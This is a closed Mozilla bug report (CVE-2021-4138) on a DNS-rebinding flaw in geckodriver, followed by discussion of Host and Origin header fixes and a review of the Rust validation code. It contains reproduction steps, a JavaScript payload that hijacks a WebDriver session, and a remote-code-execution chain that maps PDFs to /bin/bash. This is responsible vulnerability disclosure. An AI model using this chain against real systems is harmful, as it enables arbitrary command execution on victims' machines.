Closed Bug 1652612 (CVE-2021-4138) Opened 4 years ago Closed 3 years ago

DNS-rebinding vulnerability to RCE in geckodriver

Categories

(Testing :: geckodriver, task, P1)

task

Tracking

(firefox-esr78 wontfix, firefox-esr91 wontfix, firefox90 wontfix, firefox91 wontfix, firefox92 fixed)

RESOLVED FIXED
92 Branch
Tracking Status
firefox-esr78 --- wontfix
firefox-esr91 --- wontfix
firefox90 --- wontfix
firefox91 --- wontfix
firefox92 --- fixed

People

(Reporter: gabriel.corona, Assigned: jgraham)

References

Details

(Keywords: csectype-priv-escalation, csectype-sandbox-escape, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form][post-critsmash-triage][adv-main92-])

Attachments

(5 files)

geckodriver is vulnerable to DNS rebinding attack.
A malicious origin can send requests to a geckodriver instance
(create a new session, navigate, etc.).
In contrast to the CSRF vulnerability previously reported,
when using this vulnerability, an attacker can see the responses
of the attacked geckodriver instance and can thus interact
with the created session. This could be used:

  • to attack local services (localhost-bound or on the local network);
  • to attack remote services using the IP address of the victim;
  • reading local files (by navigating to file://);
  • running other programs by navigating to URIs with other schemes;
  • remote code execution (see below).

This vulnerability has been tested on:

  • Mozilla Firefox Nightly 80.0a1 (2020-07-13)
  • geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000)
  • Debian testing

Reproduction steps

  1. Get a domaine name under your control (in this example I'm using rebind.netlib.re controlled using https://netlib.re/)
  2. Run geckodriver, geckodriver
  3. Serve the proof-of-concept (see attachment), python3 -m http.server --bind 127.0.0.99 4444
  4. Associate your domain name to the IP address of the payload server with a short TTL (@ A 5 127.0.99)
  5. Open this website in a web browser (firefox http://rebind.netlib.re:4444)
  6. Associate your domain name to the IP address of the geckodriver instance (@ A 5 127.0.1))
  7. Wait (appoximately one minute) for the browser to hit the geckodriver instance

This process can be automated (and accelerated) using dedicated DNS rebinding frameworks.

Payload:

function sleep(delay) {
  return new Promise((resolve, reject) => {setInterval(resolve, delay);});
}
async function createSession() {
  while (true) {
    const response = await fetch("/session", {
        method: "POST",
        mode: "same-origin",
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          "capabilities": {
            "alwaysMatch": {
            }
          }
        })
    });
    if (response.status >= 200 && response.status < 300)
      return response.json();
    await sleep(1000);
  }
}
async function main() {
  const creation = await createSession();
  const sessionId = creation.value.sessionId;
  const sessionPath = "/session/" + sessionId;
  fetch(sessionPath + "/url", {
    method: "POST",
    mode: "same-origin",
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      "url": "https://www.youtube.com/watch?v=oHg5SJYRHA0"
    })
  });
}
main()

Getting remote code execution

As the attacker can control the Firefox instance, we can now find
new ways to execute arbitrary shell commands (see main2.html).

By using the profile parameters, the attacker can set this handlers.json file:

{"defaultHandlersVersion":{"fr":3},"mimeTypes":{"application/pdf":{"action":2,"extensions":["pdf"],"handlers":[{"name":"bash","path":"/bin/bash"}]}},"schemes":{"irc":{"stubEntry":true,"handlers":[null,{"name":"Mibbit","uriTemplate":"https://www.mibbit.com/?url=%s"}]},"ircs":{"stubEntry":true,"handlers":[null,{"name":"Mibbit","uriTemplate":"https://www.mibbit.com/?url=%s"}]},"mailto":{"stubEntry":true,"handlers":[null,{"name":"Yahoo! Mail","uriTemplate":"https://compose.mail.yahoo.com/?To=%s"},{"name":"Gmail","uriTemplate":"https://mail.google.com/mail/?extsrc=mailto&url=%s"}]}}}

Using this configuration file, the Firefox instance will use
/bin/bash for opening PDF file.

The PDF we are going to serve is actually a bash script:

xterm -e nyancat

The attacker can redirect the Firefox instance under his control
to this shell script (served as a PDF): Firefox will use
bash to open this file. Using this construct the
attacker can execute an arbitrary system command as the user.

Mitigations

Checking the Host header

geckodriver is vulnerable to DNS rebinding attacks because it is accepting
requests using arbitrary Host header (eg. Host: rebind.netlib.re).
By checking the value of the Host header and enforcing values such as
localhost:4444, we can prevent DNS rebinding attacks.

HTTP-level Authentication

As previously discussed, adding (opt-in) HTTP-level authentication
would prevent a wide range of attacks (including attacks from local users)
if this feature were to be supported by WebDriver clients.

PF_LOCAL Socket

As previously discussed, adding an options for using PF_LOCAL
socket would prevent a wide range of attacks
if this feature were to be supported by WebDriver clients.

Flags: sec-bounty?
Group: firefox-core-security → core-security-release
Component: Security → geckodriver
Product: Firefox → Testing
Attached file dns-rebinding.tar.gz

Proof-of-concept

James, can you please have a look?

Severity: -- → S1
Flags: needinfo?(james)
Priority: -- → P2

AFAICT this is also fixed by checking the Origin header, since that's unconditionally set on POST requests and all sessions start with a POST. Therefore I'd expect the patches in bug 1648964 to also address this attack. It's straightfoward to also check the host header so I can make a patch to do that too unless we think it's unnecessary for whatever reason.

Flags: needinfo?(james)

Check that the Host header is set and that the host and port are local
or match the address that the WebDriver server is running on.

Assignee: nobody → james

Yes, indeed it should be fixed on modern browser by the patch checking Origin. I was not aware it was sent even for same-origin POST.

Did you test this against other implementations? It seems plausible that some other implementations that weren't susceptible to the RCE might allow you to get a user session with this approach, since you can get the session id and send further commands. In the worst case the WebDriver controlled browser might share state with normal user browser, giving remote access to user sessions (but I didn't check).

The status of other implementations regarding this is the same as for the CSRF vulnerablity. Chromiumdriver already checks the Host header and is thus not affected: Chromiumdriver-based implementations should not be affected as well. Selenium Server seems to be affected as well (and was contacted). I contacted Apple and do not know the state of their implementation for now.

Status: UNCONFIRMED → NEW
Ever confirmed: true

Now that the fixes for 1648964 have been released, Geckodriver is mostly immune to DNS-rebinding attacks. This is because Geckodriver now checks that the Origin header is localhost (or 127.0.0.1, etc.). Therefore, DNS-rebinding should now only be possible for browsers which do not send the Origin header for same-origin POST requests.

I believe there are still a lot of browsers in the wild which do not send the Origin header in this case. Thus, I think it would still make sense to fix this by validating the Origin header as well.

Thanks Gabriel for bringing this up again. James, do you have an update for your patch?

Flags: needinfo?(james)

I'm not confident that the host parsing in the patch is correct so I'd want to spend more time to get it right.

My feeling is that anyone using a client old enough to not send an Origin header with POST is likely harbouring more vunerablities than just this one, so I don't think it's very high priority to fix. But if someone from the security team has a different view please let me know :)

Flags: needinfo?(james)

(In reply to James Graham [:jgraham] from comment #10)

My feeling is that anyone using a client old enough to not send an Origin header with POST is likely harbouring more vunerablities than just this one, so I don't think it's very high priority to fix. But if someone from the security team has a different view please let me know :)

Lets needinfo Frederik for that.

Flags: needinfo?(fbraun)

I also don't think this is "high priority".
I'm trusting James' judgement, but out of curiosity: Do we have an estimate of versions (or release-years) for those browsers that don't send the Origin header?

Flags: needinfo?(fbraun)

Hey Dan, Can you look at the last few comments on this bug (comment 8 through comment 12), and reassess if this is still a sec-high? Thanks!

Flags: needinfo?(dveditz)

I believe there are still a lot of browsers in the wild which do not send the Origin header in this case. Thus, I think it would still make sense to fix this by validating the Origin header as well.

I assume this is a typo and Gabriel means "validating the Host header" (which James' patch does). We definitely should do that, it's the original defense against rebinding attacks.

sec-moderate seems reasonable with bug 1648964 fixed.

Flags: needinfo?(dveditz)
Keywords: sec-highsec-moderate

Indeed, I wanted to say "validate the Host" header, sorry :)

Now that the details of bug 1648964 (CVE-2020-15660) are disclosed, it might lead malicious actors to this vulnerablity. Considering that the impact is RCE, it might be a good idea to fix this soonish.

While modern browsers should be immune to this attack, there are probably some other browsers (I'm thinking about things like embedded browsers in applications) which could be exploited.

James, do you have an update for us?

Flags: needinfo?(james)
Status: NEW → ASSIGNED
Flags: sec-bounty? → sec-bounty+
Priority: P2 → P1
Priority: P2 → P1

Woops, I did not intend to change the priority, sorry.

I'd be interested in disclosing this. Would you have a schedule for this?

I intend to publish/disclose about this next week. Please tell me if you believe this is problematic. I don't believe this is terribly critical at this point.

Priority: P2 → P1
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?] [webdriver:triage]

The work on the patch continued, and we are trying to get the patch landed soon.

Flags: needinfo?(james)
Whiteboard: [reporter-external] [client-bounty-form] [verif?] [webdriver:triage] → [reporter-external] [client-bounty-form] [verif?]

If an origin header is supplied with the request, validate it
corresponds to a service running on localhost.

I've added some comment in the commit "More explictly only allow connections from local origins" (D120387).

If I understand this patch correctly, this does not look like a good idea. AFAUI, socket_addrs() triggers an domain name resolution. If this is the case, "www.example.com" can definitely fool this check using DNS rebinding (TOCTOU).

Nitpick: we are not even absolutely sure that the name resolution in the WebDriver client is the same as in the WebDriver server (for example, if the client is actually a browser using DoH).

As a summary, I'm wondering if this patch does not actually open up DNS-rebinding attacks.

Note: I did not actually test this commit yet.

As a summary, I'm wondering if this patch does not actually open up DNS-rebinding attacks.

No, it should actually be OK because of "Validate the Host header when starting GeckoDriver sessions" checks the Host header anyway (and the Content-Type check blocks cross-origin requests).

Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage]
Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage] → [reporter-external] [client-bounty-form][post-critsmash-triage][adv-main92-]

Concerning regression 1732622, it would be possible to always enable all literals IP addresses (in the Host header): it is not possible to conduct a DNS rebinding attacks through literal IP addresses. I guess for the Host header, we could:

  • enable all literal addresses by default;
  • enable localhost as well by default;
  • enable extra values through some CLI option.

Concerning the Origin header, I don't believe it's absolutely necessary to keep this verification: it's not necessary for DNS-rebinding protection and CSRF protection is already provided by the the Content-Type check.

Commit 29aa1f68eba3e296a3cb44d2b8701f60233c992b is probably not necessary.

I checked the current version of the code and I believe this is still vulnerable to DNS rebinding attacks.

The verification of the Host header uses this function:

fn host_and_port_match_server(
    server_host: &Host,
    server_address: &SocketAddr,
    header_host_port: (Host, Option<u16>),
) -> bool {
    // Validate that the result of parsing the Host header matches the server configuration

    // If there's no port we're a HTTP server so default to 80
    let host = header_host_port.0;
    let port = header_host_port.1.unwrap_or(80);
    let host_matches = if host_is_local(server_host) && host_is_local(&host) {
        // If both the host header and the server are standard loopback names,
        // accept the match. This means that the server can bind to 127.0.0.1 and
        // the request can be for http://localhost for example
        true
    } else if host == *server_host {
        match host {
            Host::Domain(ref domain) => {
                // For a domain we also check that the ip matches
                (domain.to_string(), port)
                    .to_socket_addrs()
                    .map(|addr_iter| {
                        addr_iter
                            .map(|addr| addr.ip())
                            .any(|ip| ip == server_address.ip())
                    })
                    .unwrap_or(false)
            }
            Host::Ipv4(_) | Host::Ipv6(_) => true,
        }
    } else {
        false
    };
    let port_matches = server_address.port() == port;
    host_matches && port_matches
}

If a domain name is used, we check all the IP addresses the host name resolves to. If any of these addresses is a localhost address, this verification is passing. This verification does not protect against DNS rebinding attacks.

Another verification is done using the Origin header:

fn origin_is_local(url_str: &str) -> WebDriverResult<bool> {
    // Validate that the URL string from an Origin header corresponds to a local interface
    let make_err = || {
        WebDriverError::new(
            ErrorStatus::UnknownError,
            format!("Invalid Origin {}", url_str),
        )
    };

    let url = Url::parse(&url_str).map_err(|_| make_err())?;
    let sockets = url.socket_addrs(|| None).map_err(|_| make_err())?;

    Ok(!sockets.is_empty() && sockets.iter().all(|x| x.ip().is_loopback())) // <- vulnerable to DNS rebinding attacks
}

However, this verification is vulnerable to DNS rebinding attacks: the DNS response obtained by the browser first DNS request may be different than the one obtained by GeckoDriver.

In conclusion, I believe that both verifications fail to completely protect against DNS rebinding attacks.

I verified against the latest version : the Host header verification is protecting correctly against DNS rebinding (as long server_host is not a domain name resolved using the DNS) thanks to if host_is_local(server_host) && host_is_local(&host) and if host == *server_host.

Would you have any hindsight on the schedule (CVE request, disclosure)?

Flags: needinfo?(fbraun)

(In reply to Gabriel Corona from comment #29)

Would you have any hindsight on the schedule (CVE request, disclosure)?

Sorry for the delay here. We ran out of CVE ids and needed to change our process for renewals.
I|ll defer to Henrik and James wrt to disclosure. I believe they are in the process of updating the release notes for 0.30.0.

Alias: CVE-2021-4138
Flags: needinfo?(fbraun)

The information about the vulnerability is available on the releases notes but the CVE is still listed as undisclosed and this bug entry is still private. Is this expected?

(In reply to Gabriel Corona from comment #34)

The information about the vulnerability is available on the releases notes but the CVE is still listed as undisclosed and this bug entry is still private. Is this expected?

Freddy can you please have a look?

Flags: needinfo?(fbraun)

Sorry Gabriel! I had send the necessary details to the CVE Assignment Team at MITRE in late December. I've just sent an email to ask for clarification..

Flags: needinfo?(fbraun)
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: